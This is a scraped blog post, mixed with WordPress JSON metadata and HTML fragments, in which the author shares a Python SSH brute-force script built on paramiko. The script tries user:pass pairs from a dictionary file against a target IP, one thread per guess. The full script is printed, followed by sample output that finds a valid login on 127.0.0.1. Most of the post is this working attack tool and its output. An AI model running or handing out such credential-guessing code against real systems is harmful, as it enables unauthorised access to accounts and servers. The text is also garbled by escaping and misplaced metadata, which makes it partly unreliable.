So I got bored this evening and decided to write a quick and simple python SSH bruteforcer (I wanted to learn how to use paramiko).<\/p>\n
It takes the dictionary in a user:pass<\/em> format.<\/p>\n It’s not the most efficient as it uses a sleep (300ms) function, if i get the time to play i’ll use some form of thread queuing to ensure that you can throttle the requests. Might also be useful to reattempt SSH connect failures in order to ensure there are no missed attempts.<\/p>\n But here it is anyway:<\/p>\n And the running of the code:<\/p>\n So I got bored this evening and decided to write a quick and simple python SSH bruteforcer (I wanted to learn how to use paramiko). It takes the dictionary in a user:pass format. It’s not the most efficient as it uses a sleep (300ms) function, if i get the time to play i’ll use some […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[37,343,111,9],"_links":{"self":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/904"}],"collection":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/comments?post=904"}],"version-history":[{"count":4,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/904\/revisions"}],"predecessor-version":[{"id":909,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/904\/revisions\/909"}],"wp:attachment":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/media?parent=904"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/categories?post=904"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/tags?post=904"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<\/div><\/td>
\nimport<\/span> paramiko,<\/span> sys<\/span>,<\/span> time<\/span>,<\/span> threading<\/span>
\n
\nif<\/span> len<\/span>(<\/span>sys<\/span>.argv<\/span>)<\/span> <<\/span> 3<\/span>:
\n print<\/span> "Usage: %s IP \/path\/to\/dictionary"<\/span> % (<\/span>str<\/span>(<\/span>sys<\/span>.argv<\/span>[<\/span>0<\/span>]<\/span>)<\/span>)<\/span>
\n print<\/span> "Example: %s 10.0.0.1 dict.txt"<\/span> % (<\/span>str<\/span>(<\/span>sys<\/span>.argv<\/span>[<\/span>0<\/span>]<\/span>)<\/span>)<\/span>
\n print<\/span> "Dictionary should be in user:pass format"<\/span>
\n sys<\/span>.exit<\/span>(<\/span>1<\/span>)<\/span>
\n
\nip=<\/span>sys<\/span>.argv<\/span>[<\/span>1<\/span>]<\/span>;<\/span> filename=<\/span>sys<\/span>.argv<\/span>[<\/span>2<\/span>]<\/span>
\n
\nfd =<\/span> open<\/span>(<\/span>filename,<\/span> "r"<\/span>)<\/span>
\n
\ndef<\/span> attempt(<\/span>IP,<\/span>UserName,<\/span>Password)<\/span>:
\n ssh =<\/span> paramiko.SSHClient<\/span>(<\/span>)<\/span>
\n ssh.set_missing_host_key_policy<\/span>(<\/span>paramiko.AutoAddPolicy<\/span>(<\/span>)<\/span>)<\/span>
\n try<\/span>:
\n ssh.connect<\/span>(<\/span>IP,<\/span> username=<\/span>UserName,<\/span> password=<\/span>Password)<\/span>
\n except<\/span> paramiko.AuthenticationException<\/span>:
\n print<\/span> '[-] %s:%s fail!'<\/span> % (<\/span>UserName,<\/span> Password)<\/span>
\n else<\/span>:
\n print<\/span> '[!] %s:%s is CORRECT!'<\/span> % (<\/span>UserName,<\/span> Password)<\/span>
\n ssh.close<\/span>(<\/span>)<\/span>
\n return<\/span>
\n
\nprint<\/span> '[+] Bruteforcing against %s with dictionary %s'<\/span> % (<\/span>ip,<\/span> filename)<\/span>
\nfor<\/span> line in<\/span> fd.readlines<\/span>(<\/span>)<\/span>:
\n username,<\/span> password =<\/span> line.strip<\/span>(<\/span>)<\/span>.split<\/span>(<\/span>":"<\/span>)<\/span>
\n t =<\/span> threading<\/span>.Thread<\/span>(<\/span>target=<\/span>attempt,<\/span> args=<\/span>(<\/span>ip,<\/span>username,<\/span>password)<\/span>)<\/span>
\n t.start<\/span>(<\/span>)<\/span>
\n time<\/span>.sleep<\/span>(<\/span>0.3<\/span>)<\/span>
\n
\nfd.close<\/span>(<\/span>)<\/span>
\nsys<\/span>.exit<\/span>(<\/span>0<\/span>)<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n
2
3
4
5
6
7
8
9
10
11
12
<\/div><\/td>
\n[<\/span>+]<\/span> Bruteforcing against 127.0.0.1 with dictionary dict
\n[<\/span>-]<\/span> user:pass fail!<\/span>
\n[<\/span>-]<\/span> admin:password fail!<\/span>
\n[<\/span>-]<\/span> guest:password1 fail!<\/span>
\n[<\/span>-]<\/span> kerry:test fail!<\/span>
\n##### SNIP<\/span>
\n[<\/span>-]<\/span> user5:password6 fail!<\/span>
\n[<\/span>-]<\/span> user5:password7 fail!<\/span>
\n[<\/span>!<\/span>]<\/span> validuser:validpassword is CORRECT!<\/span>
\n[<\/span>-]<\/span> user5:password8 fail!<\/span>
\n##### SNIP<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n","protected":false},"excerpt":{"rendered":"